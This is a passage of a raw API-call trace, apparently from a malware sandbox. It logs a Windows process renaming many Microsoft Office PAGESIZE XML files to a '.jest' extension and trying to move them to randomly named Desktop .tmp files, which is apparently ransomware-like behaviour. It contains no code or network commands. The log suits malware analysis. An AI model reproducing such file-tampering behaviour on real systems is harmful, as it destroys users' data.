Qtv_Yc0H76yRGmMX7H2HHeHuZdhXytyUVSuJZBG75ZLA35vqvBkHSjJ9lj9D7_qvS0xxvnzT4k.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ray3ecd5-23_ig4 xhw_rmo3ux qtv_yc0h76yrgmmx7h2hhehuzdhxytyuvsujzbg75zla35vqvbkhsjj9lj9d7_qvs0xxvnzt4k.tmp")) returned 0 [0170.462] GetLastError () returned 0x2 [0170.462] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="͜\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.463] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL107.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl107.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL107.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl107.xml.jest")) returned 1 [0170.465] VarBstrFromR4 (in: fltIn=0x47945a03, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.02") returned 0x0 [0170.466] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL107.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl107.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\UxMoy3wFo2Hzm7G4i nJZGotoexv5hHwMNr6BzNH9fZstKl4xhGJ-RBecsLbGAvGSXLrjuTrSnk hmwBq ujaQSL1hQ7TpDeOg6Q.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\uxmoy3wfo2hzm7g4i njzgotoexv5hhwmnr6bznh9fzstkl4xhgj-rbecslbgavgsxlrjutrsnk hmwbq ujaqsl1hq7tpdeog6q.tmp")) returned 0 [0170.466] GetLastError () returned 0x2 [0170.466] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="͜\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.467] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL109.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl109.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL109.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl109.xml.jest")) returned 1 [0170.468] VarBstrFromR4 (in: fltIn=0x47945a03, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.02") returned 0x0 [0170.469] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL109.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl109.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WEiDvE0qskHOyyQ1nXx46s7xGEqgTB5JOy5tEpSs9rE9q40protAIP nq2A1Mb0bI6_vYS9q9jIovpuqQ6DEtkzHGkco9yZuXkxfP.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\weidve0qskhoyyq1nxx46s7xgeqgtb5joy5tepss9re9q40protaip nq2a1mb0bi6_vys9q9jiovpuqq6detkzhgkco9yzuxkxfp.tmp")) returned 0 [0170.469] GetLastError () returned 0x2 [0170.470] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="͜\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.471] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL111.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl111.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL111.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl111.xml.jest")) returned 1 [0170.473] VarBstrFromR4 (in: fltIn=0x47945a05, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.04") returned 0x0 [0170.474] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL111.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl111.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GW-Yoxcx3pS JzQ6jil LTUGlc FL6Iv4RgDHWd0sRSf-Kl-Cc6wJ7o7JNpl4d_WBQzkpULSbzli aFeUHQzHq2NVJS52Zcgeg.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\gw-yoxcx3ps jzq6jil ltuglc fl6iv4rgdhwd0srsf-kl-cc6wj7o7jnpl4d_wbqzkpulsbzli afeuhqzhq2nvjs52zcgeg.tmp")) returned 0 [0170.474] GetLastError () returned 0x2 [0170.475] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="͜\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.476] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN011.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn011.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN011.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn011.xml.jest")) returned 1 [0170.478] VarBstrFromR4 (in: fltIn=0x47945a05, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.04") returned 0x0 [0170.479] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN011.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn011.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\avi4_GPlSMFmjjxmiW6Z436ze44AsL8rYsbh SlLPhqC OKOpBHjTHWYwfj5mq pUJRftIqhcpMmuS4z60GS8RKn3 Qbq89qew4zM.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\avi4_gplsmfmjjxmiw6z436ze44asl8rysbh sllphqc okopbhjthwywfj5mq pujrftiqhcpmmus4z60gs8rkn3 qbq89qew4zm.tmp")) returned 0 [0170.479] GetLastError () returned 0x2 [0170.480] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="͜\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.481] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN020.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn020.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN020.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn020.xml.jest")) returned 1 [0170.484] VarBstrFromR4 (in: fltIn=0x47945a05, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.04") returned 0x0 [0170.484] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN020.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn020.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Vrg3POQFJF_C56ivb_bXIhIX-kdihObB_3H1UZV9k_kZQ5cL0Fh_Xnne5ENIDFY_dWHD1jWXD0u6XmTZTixFBsJHpuvX5E4csQO4d.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\vrg3poqfjf_c56ivb_bxihix-kdihobb_3h1uzv9k_kzq5cl0fh_xnne5enidfy_dwhd1jwxd0u6xmtztixfbsjhpuvx5e4csqo4d.tmp")) returned 0 [0170.485] GetLastError () returned 0x2 [0170.485] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="͜\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.486] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN022.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn022.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN022.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn022.xml.jest")) returned 1 [0170.489] VarBstrFromR4 (in: fltIn=0x47945a07, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.05") returned 0x0 [0170.490] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN022.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn022.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\5vZDh5zij-iHZzPLEmC9MyAHxcQBCDJAfoYgMO2McTGV3i8EC6-m75045CJ_7XyBxNqcz-1WTrdIqQgerGv0hz beOoilIeLSFO.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\5vzdh5zij-ihzzplemc9myahxcqbcdjafoygmo2mctgv3i8ec6-m75045cj_7xybxnqcz-1wtrdiqqgergv0hz beooilielsfo.tmp")) returned 0 [0170.490] GetLastError () returned 0x2 [0170.490] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="͜\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.492] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN044.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn044.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN044.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn044.xml.jest")) returned 1 [0170.494] VarBstrFromR4 (in: fltIn=0x47945a07, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.05") returned 0x0 [0170.495] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN044.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn044.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\NMeSk2MZ-5kVyrts2 rzT_W_KJkHDgrhh7BqULLPb-1q0oY4Pqoo7FSQTxFWtBBBu5sGivdDeggGDVk4IXkhqCrzRy3GpGJGWEo.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\nmesk2mz-5kvyrts2 rzt_w_kjkhdgrhh7bqullpb-1q0oy4pqoo7fsqtxfwtbbbu5sgivddegggdvk4ixkhqcrzry3gpgjgweo.tmp")) returned 0 [0170.495] GetLastError () returned 0x2 [0170.495] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="͜\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.497] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN054.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn054.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN054.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn054.xml.jest")) returned 1 [0170.501] VarBstrFromR4 (in: fltIn=0x47945a07, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.05") returned 0x0 [0170.502] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN054.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn054.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\kdt4zwGrNJ 76zwbMYn5zCHILhcLBFXZniKNzOpWBWfq3FxForUtn_6rIVPDThkbWeQ2WIf3oEc8c7 N-YPruzlers8Nt9IFN6 n.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\kdt4zwgrnj 76zwbmyn5zchilhclbfxzniknzopwbwfq3fxforutn_6rivpdthkbweq2wif3oec8c7 n-ypruzlers8nt9ifn6 n.tmp")) returned 0 [0170.502] GetLastError () returned 0x2 [0170.503] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="͜\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.503] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN058.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn058.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN058.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn058.xml.jest")) returned 1 [0170.506] VarBstrFromR4 (in: fltIn=0x47945a09, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.07") returned 0x0 [0170.507] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN058.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn058.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ I7O3DSjCTk52fynx0jtFHzwelUFw__ jR4zjLvP4PrkfZT6VgsuoJhPUZm7Pzw8bYtLU_QzNkOld0IW_5IiV0fWXEy0B-j2tiFyV.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ i7o3dsjctk52fynx0jtfhzwelufw__ jr4zjlvp4prkfzt6vgsuojhpuzm7pzw8bytlu_qznkold0iw_5iiv0fwxey0b-j2tifyv.tmp")) returned 0 [0170.507] GetLastError () returned 0x2 [0170.507] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="͜\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.510] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN081.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn081.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN081.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn081.xml.jest")) returned 1 [0170.512] VarBstrFromR4 (in: fltIn=0x47945a09, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.07") returned 0x0 [0170.513] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN081.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn081.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hy4FvRSyaMCFyiDpG5dB9RXt6kHiUCuV 2s566Rm-BKZ7RxfehT Po7Q-N59zGPjf_nbOuMoC_eQRwLKjhxB-2OwqVWVggRDIMslr.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hy4fvrsyamcfyidpg5db9rxt6khiucuv 2s566rm-bkz7rxfeht po7q-n59zgpjf_nboumoc_eqrwlkjhxb-2owqvwvggrdimslr.tmp")) returned 0 [0170.513] GetLastError () returned 0x2 [0170.514] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="͜\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.514] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN086.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn086.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN086.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn086.xml.jest")) returned 1 [0170.516] VarBstrFromR4 (in: fltIn=0x47945a09, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.07") returned 0x0 [0170.517] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN086.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn086.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Q5UH3-K1IOQuzYb_ZOEgfxIQk TAROzu4VhRi9XrLpHx29eobsTPU4tu5irsORfm_V5KRAhiE BjP94OPJqx9Nz0Lnh sgQtV6pbG.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\q5uh3-k1ioquzyb_zoegfxiqk tarozu4vhri9xrlphx29eobstpu4tu5irsorfm_v5krahie bjp94opjqx9nz0lnh sgqtv6pbg.tmp")) returned 0 [0170.517] GetLastError () returned 0x2 [0170.518] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="͜\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.518] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN089.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn089.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN089.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn089.xml.jest")) returned 1 [0170.521] VarBstrFromR4 (in: fltIn=0x47945a0b, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.09") returned 0x0 [0170.521] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN089.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn089.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GQ5eG SQMXptum9p78mzQrVyxLVtoWj-2n8W-6L-spvVDHKopp7Kxk0Rr_WPa4L45yQG R3FV90FwRdjBgpbqQqdDP9INbLQVAXrF.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\gq5eg sqmxptum9p78mzqrvyxlvtowj-2n8w-6l-spvvdhkopp7kxk0rr_wpa4l45yqg r3fv90fwrdjbgpbqqqddp9inblqvaxrf.tmp")) returned 0 [0170.522] GetLastError () returned 0x2 [0170.522] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="͜\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.522] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN092.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn092.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN092.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn092.xml.jest")) returned 1 [0170.525] VarBstrFromR4 (in: fltIn=0x47945a0b, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.09") returned 0x0 [0170.526] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN092.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn092.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Trg4s4Jvar_JG kPtfbSFuqB7vO5h6-Bl32y _C39PL7b lBGo m-yCKM6LxBnizwwEbZ07vzPoxKzuA4HsFb-P8tdFfdu2EEAEH.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\trg4s4jvar_jg kptfbsfuqb7vo5h6-bl32y _c39pl7b lbgo m-yckm6lxbnizwwebz07vzpoxkzua4hsfb-p8tdffdu2eeaeh.tmp")) returned 0 [0170.526] GetLastError () returned 0x2 [0170.526] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="͜\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.527] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN095.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn095.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN095.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn095.xml.jest")) returned 1 [0170.529] VarBstrFromR4 (in: fltIn=0x47945a0b, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.09") returned 0x0 [0170.530] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN095.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn095.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\V47kbWD4 y-30ZqT9DgPiAPMpvdHpponaiTCT4yhteWKgfefu4B_ev1tw2WvD2IzlErJgCGK8kKZdUv3qrND3f-6l0OX3KIPNFDMe.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\v47kbwd4 y-30zqt9dgpiapmpvdhpponaitct4yhtewkgfefu4b_ev1tw2wvd2izlerjgcgk8kkzduv3qrnd3f-6l0ox3kipnfdme.tmp")) returned 0 [0170.530] GetLastError () returned 0x2 [0170.530] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="͜\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.531] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN096.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn096.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN096.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn096.xml.jest")) returned 1 [0170.533] VarBstrFromR4 (in: fltIn=0x47945a0d, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.1") returned 0x0 [0170.534] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN096.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn096.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xWCkn9q4AkKt_wy8olpWu-mWW-OB3RBl6NB9DJuErxPpb5in r6NKUcCfLx4mp_eADrGMFwz2CNJ EQVHtzKbORw_F2mIeXBqFR.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xwckn9q4akkt_wy8olpwu-mww-ob3rbl6nb9djuerxppb5in 